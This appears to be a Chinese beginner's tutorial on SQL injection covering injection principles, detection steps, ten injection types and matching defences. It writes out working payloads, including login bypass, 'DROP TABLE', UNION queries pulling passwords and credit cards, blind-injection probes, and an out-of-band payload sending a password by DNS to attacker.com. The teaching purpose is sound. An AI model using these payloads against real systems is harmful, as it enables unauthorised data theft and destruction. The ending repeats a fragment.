SQL注入入门(持续更新中)
sql是什么?
sql适用于管理关系数据库系统的语言(结构化查询语言Structured Query Language)
- SQL 指结构化查询语言,全称是 Structured Query Language。
- SQL 让您可以访问和处理数据库,包括数据插入、查询、更新和删除。
- SQL 语言采用英语关键词,使其易读易写。
- SQL 由国际标准化组织(ISO)和美国国家标准协会(ANSI)标准化。
- SQL 提供了丰富的操作数据的功能,从简单的查询到复杂的数据库管理操作。
总的来说,SQL 通过一系列的语句和命令来执行数据定义、数据查询、数据操作和数据控制等功能,包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。
那么sql注入又是什么?
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,干扰应用程序的数据库查询,从而执行未经授权的操作。这种攻击可能导致数据泄露、数据篡改、甚至完全控制数据库服务器。
sql注入原理
其核心原理是应用程序未对用户的输入进行充分验证或转义,直接将用户输入的内容拼接到sql查询中。(这可能讲的很抽象,下面具体说明一下)
SQL注入是一种利用应用程序对用户输入处理不当,将恶意SQL代码注入到数据库查询中的攻击手段。以下是其原理的详细分步解释:
1. 应用程序动态构造SQL语句
当应用程序需要与数据库交互时(如用户登录、数据检索),常通过拼接用户输入的数据来构建SQL查询。例如:(如果下面的[]内是某一输入框)
SELECT * FROM users WHERE username = '[用户输入的用户名]' AND password = '[用户输入的密码]';
2. 恶意输入构造
攻击者在输入字段中插入特殊字符或SQL代码片段,改变原查询逻辑。例如:
绕过登录验证:输入用户名
' OR '1'='1
,密码任意,构造的查询变为:SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '任意';
此时
'1'='1'
恒为真,可能绕过密码验证。执行危险操作:输入
'; DROP TABLE users; --
,查询变为:SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
分号结束原查询后,执行删除表操作,
--
注释掉后续代码。3. 利用数据库响应
- 直接执行:注入的代码被数据库执行,导致数据泄露、篡改或破坏。
- 信息泄露:通过错误信息或返回结果推断数据库结构(如通过UNION查询获取其他表数据)。
4. 成功条件
- 未过滤输入:用户输入直接拼接到SQL语句中。
- 权限过高:数据库账户拥有不必要的权限(如删除表)。
- 错误暴露:数据库错误信息直接返回给用户,帮助攻击者调整注入代码。
5. 防御措施
- 参数化查询(预编译):使用占位符替代用户输入,确保输入被视为数据而非代码。
- 输入验证与过滤:对特殊字符(如引号、分号)进行转义或拒绝非法格式。
- 最小权限原则:数据库连接账户仅授予必要权限。
- 错误处理:避免向用户暴露详细数据库错误信息。
- 安全工具:使用ORM框架(如Hibernate)、Web应用防火墙(WAF)等自动化防护。
攻击变种示例
- 联合查询注入:
' UNION SELECT credit_card, null FROM payments --
联合查询其他敏感表。- 布尔盲注:通过页面真假响应推测数据内容(如
AND SUBSTRING(password,1,1)='a'
)。- 时间盲注:利用延时函数(如
SLEEP(5)
)判断查询条件是否成立。总结
SQL注入的核心在于将用户输入错误地解析为SQL代码。通过严格控制输入处理、采用安全编程实践,可有效防范此类攻击。
sql注入类型
判断注入类型
数字型注入
即输入的参数是数字,sql语句是数字型
select * from article where X = 1 and xxxxx;
判断方式
1、参数值后面输入单引号
?X = 1'
select * from article where X = 1' and xxxxx;
数据库无法执行就会报错,说明存在SQL注入
2、通过and 1=1 ,and 1=2 判断
?X = 1 and 1=1
?x =
select * from article where X = 1 and 1=1 and xxxxx;
select * from article where X = 1 and 1=2 and xxxxx;
若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明拼接成功
为数字型。
反之为字符型。
字符型注入
单引号/双引号/括号的闭合
select * from article where X = ' 1 ' and xxxxx;
?X = 1'
select * from article where X = ' 1 '' and xxxxx;
可以在最后加上注释符把后面的闭合符号和语句直接注释掉
?X = 1'#
select * from article where X = ' 1 '#' and xxxxx;
sql中的注释符
mysql中注释符:# 、/**/ 、 --
#
,--
为单行注释
/**/ 为多行注释
sql注入的方式
尝试sql注入(对任意输入框)
做法:
为了测试是否存在SQL注入漏洞,可以尝试输入一些特殊字符,比如:
- 单引号(’):如果输入1’,可能导致SQL语法错误,如果页面返回错误信息,说明可能存在注入点。
- 布尔逻辑测试:例如输入1’ OR ‘1’='1,如果返回所有记录,说明注入成功。
- 联合查询(UNION SELECT):尝试确定列数,然后通过联合查询获取其他数据。
总结可能的步骤:
- 验证注入点:输入“1’”查看是否出现语法错误。
- 确定列数:使用“ORDER BY”子句或“UNION SELECT”来确定查询返回的列数。
- 利用联合查询:构造UNION查询来获取其他表的数据。
- 提取信息:如数据库版本、表名、列名等。
以下是常见的 SQL注入类型 及其详细说明,适用于学习与理解:
1. 基于错误的注入
-
原理:通过触发数据库错误,利用错误信息泄露数据或结构。
-
场景:后端直接显示数据库错误(如未过滤单引号)。
-
示例:
' OR 1=CONVERT(int, (SELECT @@version)) --
- 触发类型转换错误,泄露数据库版本信息。
-
防御:禁用错误回显,使用参数化查询。
2. 联合查询注入
-
原理:利用
UNION
操作符合并合法查询与恶意查询,直接返回额外数据。 -
场景:页面可显示查询结果(如用户列表)。
-
示例:
' UNION SELECT username, password FROM users --
- 前提:需匹配列数和数据类型。
-
防御:限制查询权限,过滤
UNION
等关键字。
3. 布尔盲注
-
原理:通过页面响应的“真/假”差异推断数据(如内容是否存在)。
-
场景:页面无错误回显,但会根据条件显示不同内容。
-
示例:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1) = 'a' --
- 若密码第一位是
a
,页面正常;否则异常。
- 若密码第一位是
-
防御:统一错误页面,限制查询逻辑。
4. 时间盲注
-
原理:通过条件触发时间延迟(如
SLEEP()
函数),推断数据是否存在。 -
场景:页面无任何内容差异,但可感知响应时间。
-
示例:
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
- 若密码第一位是
a
,页面延迟5秒。
- 若密码第一位是
-
防御:禁用危险函数(如
SLEEP
),限制查询执行时间。
5. 堆叠查询注入
-
原理:通过分号
;
执行多条SQL语句,实现增删改操作。 -
场景:支持多语句执行的数据库(如SQL Server、PostgreSQL)。
-
示例:
'; DROP TABLE users; --
- 直接删除用户表。
-
防御:禁用多语句执行,严格过滤分号。
6. 二阶注入
-
原理:恶意输入先被存储(如注册信息),后续操作触发注入。
-
场景:数据经过初步过滤,但使用时未二次校验。
-
示例:
注册用户名:admin' -- 后续查询:SELECT * FROM users WHERE username='admin' -- ';
- 攻击者通过已存储的恶意数据篡改查询。
-
防御:对所有输入(包括存储数据)进行彻底过滤。
7. 带外注入
-
原理:利用数据库网络功能(如DNS请求、HTTP调用)外传数据。
-
场景:注入结果无法直接返回,但可触发外部交互。
-
示例(MySQL):
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\test')) --
- 通过DNS请求将密码发送到攻击者控制的域名。
-
防御:限制数据库外联权限,监控异常流量。
8. 宽字节注入
-
原理:利用编码转换漏洞绕过转义(如GBK字符集)。
-
场景:后端使用特定字符集且未正确处理转义。
-
示例:
%bf' OR 1=1 --
%bf
与转义符\
结合形成合法字符,破坏引号闭合。
-
防御:统一使用UTF-8编码,避免宽字节漏洞。
9. 报错注入
-
原理:结合聚合函数与错误函数,强制触发错误泄露数据。
-
示例(MySQL):
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
- 利用
GROUP BY
报错泄露密码。
- 利用
-
防御:禁用详细错误回显。
10. 基于HTTP头的注入
-
原理:注入点位于HTTP头(如
User-Agent
、Cookie
)。 -
示例:
User-Agent: ' OR 1=1 --
- 后端将
User-Agent
拼接到查询语句中。
- 后端将
-
防御:对所有输入源(包括HTTP头)进行过滤。
总结
- 检测工具:可结合
sqlmap
等工具自动化测试。 - 防御核心:始终使用参数化查询(如PDO预处理语句),避免拼接SQL语句。
- 法律与道德:仅用于授权测试,禁止非法攻击。
掌握这些类型后,可通过靶场(如DVWA、SQLi Labs)进行实践,深入理解漏洞原理与利用方式。
回显类型:(报错类型)
1. 显式数据库错误信息
-
表现形式:
页面直接显示数据库报错内容,例如:You have an error in your SQL syntax; check the manual near ''1''' at line 1
- 意义:
明确暴露数据库类型(如MySQL、PostgreSQL)和错误位置,说明输入未被过滤且直接拼接到了SQL语句中。 - 后续利用:
可根据错误信息调整注入语句,例如闭合引号或添加联合查询。
- 意义:
2. HTTP状态码异常
- 表现形式:
返回500 Internal Server Error
或其他非200状态码。- 意义:
后端因SQL语法错误导致服务器崩溃或异常,间接表明存在注入漏洞。 - 注意:
需结合其他测试确认是否为SQL注入导致(如输入1'
与普通输入对比)。
- 意义:
3. 页面内容异常
- 表现形式:
- 页面部分内容缺失或结构混乱。
- 显示空白页面或“查询失败”等通用提示。
- 正常数据被替换为异常值(如
NULL
)。 - 意义:
虽然未显示详细错误,但SQL逻辑已被破坏,说明注入尝试影响了查询结果。
4. 时间延迟(时间盲注)
-
表现形式:
输入特定语句后页面加载时间显著延长,例如:sql
复制
1' AND SLEEP(5) --
- 意义:
若页面响应延迟5秒,说明SLEEP()
函数被执行,存在时间盲注漏洞。 - 适用场景:
后端不返回错误信息,但可通过时间差判断注入是否成功。
- 意义:
5. 布尔逻辑异常(布尔盲注)
- 表现形式:
- 输入
1' AND 1=1 --
时页面正常。 - 输入
1' AND 1=2 --
时页面无数据。 - 意义:
通过页面内容的差异可推断SQL条件是否成立,间接确认漏洞。
- 输入
6. 数据库信息泄露
-
表现形式:
错误信息中泄露数据库结构,例如:sql
复制
Unknown column 'admin' in 'where clause'
- 意义:
攻击者可利用这些信息构造精准的注入语句(如猜解表名、字段名)。
- 意义:
总结:如何判断报错标志?
- 对比测试:输入合法值(如
1
)与注入语句(如1'
),观察响应差异。 - 关注细节:检查页面内容、HTTP状态码、响应时间等。
- 利用工具:使用
sqlmap
等自动化工具辅助检测。
以下是常见的 SQL注入类型 及其详细说明,适用于学习与理解:
入理解漏洞原理与利用方式。